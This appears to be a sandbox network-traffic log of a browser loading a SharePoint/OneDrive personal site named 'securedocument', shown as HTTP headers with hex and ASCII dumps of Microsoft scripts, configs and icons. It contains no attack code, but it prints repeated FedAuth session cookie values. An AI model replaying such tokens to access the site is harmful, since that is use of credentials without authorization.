2025-03-24 15:04:05 UTC	757	IN	Data Raw: 7b 22 40 6f 64 61 74 61 2e 63 6f 6e 74 65 78 74 22 3a 22 68 74 74 70 73 3a 2f 2f 70 6f 73 74 75 72 65 73 68 69 66 74 2d 6d 79 2e 73 68 61 72 65 70 6f 69 6e 74 2e 63 6f 6d 2f 70 65 72 73 6f 6e 61 6c 2f 73 65 63 75 72 65 64 6f 63 75 6d 65 6e 74 5f 70 6f 73 74 75 72 65 73 68 69 66 74 5f 63 6f 6d 2f 5f 61 70 69 2f 76 32 2e 30 2f 24 6d 65 74 61 64 61 74 61 23 73 69 74 65 73 28 27 25 37 42 35 35 32 31 31 33 66 31 2d 63 61 31 65 2d 34 35 31 63 2d 39 34 38 62 2d 66 64 66 31 31 37 62 37 39 30 66 30 25 37 44 27 29 2f 6c 69 73 74 73 28 27 25 37 42 35 34 32 64 64 37 63 65 2d 34 33 32 65 2d 34 38 33 39 2d 38 31 66 34 2d 62 63 34 31 38 63 37 61 64 38 32 62 25 37 44 27 29 2f 69 74 65 6d 73 28 66 69 65 6c 64 73 28 29 29 22 2c 22 40 6f 64 61 74 61 2e 64 65 6c 74 61 4c 69 Data Ascii: {"@odata.context":"https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_api/v2.0/$metadata#sites('%7B552113f1-ca1e-451c-948b-fdf117b790f0%7D')/lists('%7B542dd7ce-432e-4839-81f4-bc418c7ad82b%7D')/items(fields())","@odata.deltaLi

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:05 UTC	618	OUT	GET /footprint/v3.2/scripts/fp-min.js HTTP/1.1 Host: r4.res.office365.com Connection: keep-alive Origin: https://postureshift-my.sharepoint.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://postureshift-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:04:05 UTC	404	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Type: application/x-javascript Last-Modified: Wed, 11 Sep 2019 02:38:57 GMT Server: AkamaiNetStorage Content-Length: 4551 Cache-Control: public,max-age=86400, s-maxage=86400 Date: Mon, 24 Mar 2025 15:04:05 GMT Connection: close Timing-Allow-Origin: * Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains
2025-03-24 15:04:05 UTC	4551	IN	Data Raw: 46 6f 6f 74 70 72 69 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 31 2c 6e 3d 32 2c 65 3d 74 7c 6e 2c 72 3d 38 2c 6f 3d 31 36 2c 69 3d 72 7c 6f 2c 75 3d 65 7c 69 2c 61 3d 31 32 38 2c 66 3d 32 35 36 2c 73 3d 65 7c 28 61 7c 66 29 2c 63 3d 22 68 74 74 70 3a 2f 2f 22 2c 6c 3d 32 30 30 2c 6d 3d 22 74 72 61 6e 73 2e 67 69 66 22 2c 70 3d 22 2f 61 70 63 2f 22 2c 67 3d 35 65 33 2c 64 3d 22 74 72 61 6e 73 2e 67 69 66 22 2c 68 3d 22 31 30 30 6b 2e 67 69 66 22 2c 76 3d 38 32 32 2e 31 32 38 2c 77 3d 31 65 33 2c 54 3d 22 47 45 54 22 2c 79 3d 22 50 4f 53 54 22 2c 4d 3d 2d 31 2c 49 3d 22 32 30 31 39 30 32 31 34 22 2c 62 3d 22 78 2d 75 73 65 72 68 6f 73 74 61 64 64 72 65 73 73 22 2c 44 3d 22 78 2d 65 6e 64 70 6f 69 6e 74 22 2c 52 3d 22 78 2d 66 72 6f 6e 74 Data Ascii: Footprint=function(){var t=1,n=2,e=t\|n,r=8,o=16,i=r\|o,u=e\|i,a=128,f=256,s=e\|(a\|f),c="http://",l=200,m="trans.gif",p="/apc/",g=5e3,d="trans.gif",h="100k.gif",v=822.128,w=1e3,T="GET",y="POST",M=-1,I="20190214",b="x-userhostaddress",D="x-endpoint",R="x-front

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:06 UTC	1996	OUT	GET /_layouts/15/images/odbfavicon.ico?rev=47 HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://postureshift-my.sharepoint.com/personal/securedocument_postureshift_com/_layouts/15/onedrive.aspx?id=%2Fpersonal%2Fsecuredocument%5Fpostureshift%5Fcom%2FDocuments%2FSharePoint&ga=1 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:06 UTC	1955	IN	HTTP/1.1 200 OK Cache-Control: max-age=31536000 Content-Length: 7886 Content-Type: image/x-icon Last-Modified: Tue, 18 Mar 2025 07:43:55 GMT Accept-Ranges: bytes ETag: "70741c80d997db1:0" P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,517,1463470,1827229,1827229,42113 SPRequestDuration: 15 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F056C50BAFC94F848CC6A52E5320F9BB Ref B: EWR311000105039 Ref C: 2025-03-24T15:04:06Z Date: Mon, 24 Mar 2025 15:04:06 GMT Connection: close
2025-03-24 15:04:06 UTC	165	IN	Data Raw: 00 00 01 00 03 00 20 20 00 00 01 00 20 00 a8 10 00 00 36 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 de 10 00 00 10 10 00 00 01 00 20 00 68 04 00 00 66 1a 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6 hf( @
2025-03-24 15:04:06 UTC	7721	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:06 UTC	642	OUT	GET /conf/v2/o365se/fpconfig.min.json?monitorId=O365se HTTP/1.1 Host: config.fp.measure.office.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://postureshift-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://postureshift-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:04:09 UTC	430	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=900 Content-Length: 1256 Content-Type: application/json; charset=utf-8 ETag: "1766309630" Access-Control-Allow-Origin: * Request-Context: appId=cid-v1:b183296d-485b-49fc-81c7-a511e61d1309 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F612BE358C6C46B99C087571289D5812 Ref B: EWR311000106021 Ref C: 2025-03-24T15:04:06Z Date: Mon, 24 Mar 2025 15:04:09 GMT Connection: close
2025-03-24 15:04:09 UTC	609	IN	Data Raw: 7b 22 73 22 3a 31 30 30 30 2c 22 6e 22 3a 33 2c 22 65 22 3a 5b 7b 22 65 22 3a 22 2a 2e 66 70 2e 6d 65 61 73 75 72 65 2e 6f 66 66 69 63 65 2e 63 6f 6d 22 2c 22 77 22 3a 31 30 30 30 30 30 30 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 61 66 64 63 61 6e 61 72 79 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 22 2c 22 77 22 3a 35 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 63 61 6e 61 72 79 2e 6f 66 66 69 63 65 61 70 70 73 2e 6c 69 76 65 2e 63 6f 6d 22 2c 22 77 22 3a 35 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 65 63 73 2e 6f 66 66 69 63 65 2e 63 6f 6d 22 2c 22 77 22 3a 32 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 67 72 61 70 68 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 22 77 22 3a 34 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 Data Ascii: {"s":1000,"n":3,"e":[{"e":"*.fp.measure.office.com","w":1000000,"m":128},{"e":"afdcanary.officeapps.live.com","w":5,"m":128},{"e":"canary.officeapps.live.com","w":5,"m":128},{"e":"ecs.office.com","w":2,"m":128},{"e":"graph.microsoft.com","w":4,"m":128},{"
2025-03-24 15:04:09 UTC	647	IN	Data Raw: 2c 7b 22 65 22 3a 22 70 70 31 2e 70 72 64 2e 61 74 74 65 6e 64 2e 74 65 61 6d 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 22 77 22 3a 31 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 70 70 31 2e 70 72 64 2e 62 6d 63 2e 74 65 61 6d 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 22 2c 22 77 22 3a 31 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 73 2d 30 30 35 2d 6f 66 66 69 63 65 2e 63 6f 6e 66 69 67 2e 73 6b 79 70 65 2e 63 6f 6d 22 2c 22 77 22 3a 32 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 74 72 2d 63 6f 6d 6d 6f 6e 2d 6d 69 72 61 2e 6f 66 66 69 63 65 2e 63 6f 6d 22 2c 22 77 22 3a 34 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 74 72 2d 6f 66 63 2d 61 66 64 77 61 63 2e 6f 66 66 69 63 65 2e 63 6f 6d 22 2c 22 77 22 3a 31 30 2c 22 6d 22 3a Data Ascii: ,{"e":"pp1.prd.attend.teams.microsoft.com","w":1,"m":128},{"e":"pp1.prd.bmc.teams.microsoft.com","w":1,"m":128},{"e":"s-005-office.config.skype.com","w":2,"m":128},{"e":"tr-common-mira.office.com","w":4,"m":128},{"e":"tr-ofc-afdwac.office.com","w":10,"m":

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:06 UTC	1629	OUT	GET /_layouts/15/images/odbfavicon.ico?rev=47 HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED]
2025-03-24 15:04:07 UTC	1950	IN	HTTP/1.1 200 OK Cache-Control: max-age=31536000 Content-Length: 7886 Content-Type: image/x-icon Last-Modified: Tue, 18 Mar 2025 07:43:55 GMT Accept-Ranges: bytes ETag: "70741c80d997db1:0" P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVG [TRUNCATED] X-NetworkStatistics: 0,4194720,0,0,228985,157421,157421,46050 SPRequestDuration: 13 SPIisLatency: 1 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25905 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 178D3818B5F242ADBB3224E7B31266D6 Ref B: EWR311000107051 Ref C: 2025-03-24T15:04:07Z Date: Mon, 24 Mar 2025 15:04:06 GMT Connection: close
2025-03-24 15:04:07 UTC	2220	IN	Data Raw: 00 00 01 00 03 00 20 20 00 00 01 00 20 00 a8 10 00 00 36 00 00 00 18 18 00 00 01 00 20 00 88 09 00 00 de 10 00 00 10 10 00 00 01 00 20 00 68 04 00 00 66 1a 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 6 hf( @
2025-03-24 15:04:07 UTC	5666	IN	Data Raw: 21 ff e0 92 15 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 cf 00 00 00 00 d4 78 00 60 d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff cf 74 01 ff bf 69 02 ff bf 6c 06 ff d0 80 0e ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 ff df 90 14 cf df 90 14 10 00 00 00 00 00 00 00 00 d4 78 00 cf d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d4 78 00 ff d2 77 00 ff c4 6d 02 ff b8 64 03 ff b8 64 03 ff b8 Data Ascii: !x`xxxxxxxxxxxxxxxxtilxxxxxxxxxxxxxxwmdd

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:04:08 UTC	2797	OUT	GET /_layouts/15/SPComponentRegistry.ashx?projects=[%22STS%22]&languages=%5B%5D HTTP/1.1 Host: postureshift-my.sharepoint.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: application/json Content-Type: application/json Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://postureshift-my.sharepoint.com/_layouts/15/odspserviceworkerproxy.aspx?swManifestName=spserviceworker&debug=false&bypass=false&navigationPreloadHeaderValue=%7B%22supportsFeatures%22%3A%5B1855%2C61313%5D%7D&dataHost=Nucleus&applications=%5B%7B%22id%22%3A%22STS%22%2C%22swPrefetchManifestName%22%3A%22stsserviceworkerprefetch%22%7D%2C%7B%22id%22%3A%22SPHome%22%7D%2C%7B%22id%22%3A%22SitePages%22%7D%2C%7B%22id%22%3A%22Embed%22%7D%2C%7B%22id%22%3A%22CreateGroup%22%7D%2C%7B%22id%22%3A%22SingleWebPart%22%7D%2C%7B%22id%22%3A%22VivaHome%22%7D%2C%7B%22id%22%3A%22BrokerLogon%22%7D%2C%7B%22id%22%3A%22Clipchamp%22%7D%2C%7B%22id%22%3A%22MeeBridge%22%7D%2C%7B%22id%22%3A%22SPStart%22%7D%2C%7B%22id%22%3A%22Agreements%22%7D%5D&list=v2&prefetchListData=true&defaultBrotli=true&authenticateFast=true&inlineAuth=v2&wwData=true&prefetchFilebrowserPageInTeams=true&FUIV9Flights=[-83099905,3]&spStartApplicationWebBundle=true&enableIntegrities=true&spartanOneDriveWireframe=true&streamViewServerLoad=true&streamInlineScript [TRUNCATED] Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uI2FiOTE5YTY2MWI0YTVjNmU2ZWRiMjJiNWM1YWUwMTE4ZmY5ZWE5Y2ZkZDYzMTUwM2UwMzEwNmY4NWQ3ZThkYjYsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jYWI5MTlhNjYxYjRhNWM2ZTZlZGIyMmI1YzVhZTAxMThmZjllYTljZmRkNjMxNTAzZTAzMTA2Zjg1ZDdlOGRiNiwxMzM4NzMwMjUzNjAwMDAwMDAsMCwxMzM4NzM4ODYzNjY2MTM5MjUsMC4wLjAuMCwyNTgsODFlNTAzMTItNzRjZi00YWM1LWIyMDUtMjExZTdjYmU1YWRkLCwsY2VhZWU5MTUtMzM0Mi00MDBkLTg5ZmItZDhlNjFmNDNiY2IwLGNlYWVlOTE1LTMzNDItNDAwZC04OWZiLWQ4ZTYxZjQzYmNiMCxwOWo3eWN2V0oweU9WU2hHbzdNMXlRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxOTE3NTksTkxITm9QekJlYzNqTGxRc1NZb0w1UTFFZ2ZFLGx0K2NnOWN5NU9WNXd4K1YvaDlUSDRLaVlDYmpSQTh4bXZpdDZnRmh2L04rNVhCZDJWTUFTTHJoMTY1cXpBYUt3UXdMN21qdU9vaTQyaHFFTjg2UlZNVzZDQ05zTTJNNisxdFdPZ3FCdmRzSEZxVStGdDN4UkNXaTBzWXR6VVR4ZVRmTVV4WlA4WmFaS3d4OVlOUGxzbURUSFNXeXkva0d1cGtOcjU5M1R0RDRnSndSd1RSVzdIYnZEVjhxdVRRbFo4OG1FOWVveThoOStTNHBKWjhrQklXdTVJT016amhhb1VxNW9SRzh3ZFZBWER4akwrUTVGeFhp [TRUNCATED] If-None-Match: "42533790_sts_default_en-us"
2025-03-24 15:04:08 UTC	1922	IN	HTTP/1.1 304 Not Modified Cache-Control: private Content-Type: application/json ETag: "42533790_sts_default_en-us" P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: 